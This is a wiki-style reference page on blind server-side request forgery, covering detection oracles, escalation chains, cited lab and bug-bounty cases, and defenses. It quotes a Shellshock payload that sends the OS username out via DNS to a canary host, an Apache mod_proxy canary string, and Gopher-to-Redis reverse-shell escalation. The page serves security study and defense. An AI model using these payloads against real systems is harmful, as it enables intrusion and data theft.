# Blind SSRF
> SSRF where the back-end response is never reflected to the front end, so the vulnerability must be confirmed and escalated through out-of-band, timing, and error/status side channels rather than by reading the response body.
## How it works
The app issues a back-end request to an attacker-influenced URL but returns none of that response in the front-end reply. Confirmation therefore depends on a signal that leaves the target: an out-of-band callback, a measurable timing difference, or a leaked status/error. Classic sinks: analytics features that fetch the `Referer`, profile-image loaders, webhooks, XML/`SYSTEM` entities, and any "import from URL" function. Candidate injection points are URL path/body params, request headers other than `Host` (notably `Referer`), and URL-bearing fields inside XML/JSON bodies.
Impact is lower than full-read SSRF because of the one-way channel, but it still supports internal network probing and, in the right conditions, RCE — either by sweeping internal space with blind payloads or by coercing the client into an attacker-controlled response.
## Confirmation oracles
- **Out-of-band (most reliable).** Put a unique Collaborator/interactsh host in the sink and watch for interaction. See [[Out-of-Band Detection]]. Note the DNS-only pattern: a DNS lookup with no follow-up HTTP usually means the request was attempted but egress filtering blocked the outbound HTTP, which still proves the sink reaches a resolver.
- **Status-code oracle.** Reachable internal `host:port` returns `200`, unreachable returns `500`/connection error. In the port-scanning writeup, `http://127.0.0.1:80` returned `200 OK` while filtered ports differed, enabling XSPA (cross-site port attack) across the loopback and internal ranges.
- **Timing oracle.** Response time differs between open/filtered/closed ports and between resolving/non-resolving hosts; bruteforce the private ranges × 65k ports and infer live services from the delta.
- **Response-size / content oracle.** Byte-length of the reply varies with reachability.
- **Error-message oracle (semi-blind).** Blind-via-XXE leaks distinguish "response returned" (`System.Xml.XmlException: Expected DTD markup...`) from "host/port unreachable" (`System.Net.WebException: Unable to connect to the remote server`). "Semi-blind" is the general term when partial data, an error, or metadata like timing is exposed but the body is not.
- **Stored delivery-status oracle.** Webhook systems that log and display each delivery's response code (Traewelling `webhook-stats` `byResponseCode`) turn blind delivery into service fingerprinting ([[raw/github.com/traewelling-ssrf-via-outgoing-webhook-url-15834|Traewelling]]). Connection-check features answer reachability directly: N-able MailAssure's relay LDAP-sync check (CVE-2026-134624) let API users map internal host:port pairs ([[raw/github.com/n-able-mailassure-ssrf-critical-15831|MailAssure]]).
## Escalation paths
- **Internal port scan / service discovery.** Sweep RFC1918 space and loopback for open ports and banners; feed results into service-specific chains.
- **Shellshock on internal CGI (CVE-2014-6271).** If an internal host runs a vulnerable bash CGI, inject the payload into an attacker-reflected header (e.g. `User-Agent`) and have bash call out, proving RCE blindly:
`() {:;}; /usr/bin/nslookup $(whoami).<canary>` — iterate the `Referer` host's final octet (1–255) across `192.168.x.0/24` in Intruder to find the reachable CGI host. This is the PortSwigger "Blind SSRF with Shellshock" lab pattern.
- **Blind → full read via SSRF canary.** Chain the blind SSRF into a *second* internal SSRF that calls your canary (app-specific open redirect, `makeRequest`-style gadget, blind XXE). A callback proves the internal service exists and itself makes outbound requests — a pivot documented against Confluence, Jira, Jenkins, JAMF, Artifactory, Weblogic. See [[Server-Side Request Forgery]] and [[Out-of-Band Detection]].
- **Blind → RCE via Gopher.** If the client supports `gopher://`, scan `gopher://127.0.0.1:<port>` for open services, then use Gopherus to generate raw-protocol payloads for Redis (6379), MySQL (3306), FastCGI (9000), Memcached (11211), Zabbix (10050), SMTP (25) and plant a reverse shell. See [[Gopher Protocol SSRF]].
- **Induce malicious client response.** Redirect the back-end client to an attacker server and return a payload that triggers a client-side bug in the HTTP implementation for code execution.
- **Cloud metadata.** Even blindly, confirming reachability of `169.254.169.254` is a strong escalation signal; data extraction depends on getting any oracle. See [[Cloud Metadata Service Exploitation]].
## Notable cases
- **Shellshock lab (safe.security PoC, PortSwigger Academy)** — `Referer`/`User-Agent` → internal CGI → `nslookup $(whoami).<collaborator>` exfils the OS user in a DNS subdomain.
- **Blind SSRF → RCE via Gopher/Redis (Resecurity HUNTER)** — gopher port-scan finds Redis 6379, Gopherus payload plants reverse shell.
- **Internal port scanning / XSPA ($ HackerOne reports)** — `/down_report/?url=` loopback + metadata URL confirmed critical via `169.254.169.254/latest/meta-data/`.
- **Apache mod_proxy SSRF (CVE-2021-40438)** — `/?unix:...A*...|http://<canary>` is a reusable SSRF canary against Apache ≤ 2.4.48.
- **Blind SSRF "Hide & Seek" ($400)** — found passively with Collaborator Everywhere injecting canaries into every scoped request.
## Defenses
- Allowlist destination hosts/IPs and validate the response has the expected format before any processing; never blindly trust redirects.
- Block outbound traffic to RFC1918/link-local from the fetching service; egress filtering that permits DNS but blocks HTTP already breaks most chains (and produces the DNS-only signature).
- Disable unused URL schemes (`gopher`, `file`, `dict`, `ftp`) in the HTTP client.
- Patch internal services reachable from the fetcher — blind SSRF impact is defined by what sits behind it.
See [[SSRF Prevention]].
## Related
- [[Server-Side Request Forgery]]
- [[Out-of-Band Detection]]
- [[Partial SSRF]]
- [[Gopher Protocol SSRF]]
- [[Cloud Metadata Service Exploitation]]
- [[DNS Rebinding]]
- [[SSRF Prevention]]
## Sources
- [[raw/portswigger.net/blind-ssrf-vulnerabilities-portswigger-3175|Blind SSRF vulnerabilities]]
- [[raw/blog.assetnote.io/a-glossary-of-blind-ssrf-chains-assetnote-83|A Glossary of Blind SSRF Chains]]
- [[raw/safe.security/blind-ssrf-with-shellshock-exploitation-3171|Blind SSRF with Shellshock Exploitation]]
- [[raw/medium.com/uncovering-blind-ssrf-using-burp-collaborator-3191|Uncovering Blind SSRF using Burp Collaborator]]
- [[raw/portswigger.net/blind-ssrf-lab-out-of-band-detection-3174|Lab: Blind SSRF with out-of-band detection]]
- [[raw/intigriti.com/ssrf-advanced-exploitation-guide-3318|SSRF: Advanced Exploitation Guide]]
- [[raw/resecurity.com/blind-ssrf-to-rce-vulnerability-exploitation-3195|Blind SSRF to RCE Vulnerability Exploitation]]
- [[raw/cyberweapons.medium.com/blind-ssrf-into-internal-port-scanning-3253|Blind SSRF into Internal Port Scanning]]
- [[raw/shahjerry33.medium.com/blind-ssrf-the-hide-seek-game-1989|Blind SSRF - The Hide & Seek Game]]
- [[raw/github.com/traewelling-ssrf-via-outgoing-webhook-url-15834|Traewelling SSRF via outgoing webhook URL]]
- [[raw/github.com/n-able-mailassure-ssrf-critical-15831|N-able MailAssure SSRF (critical)]]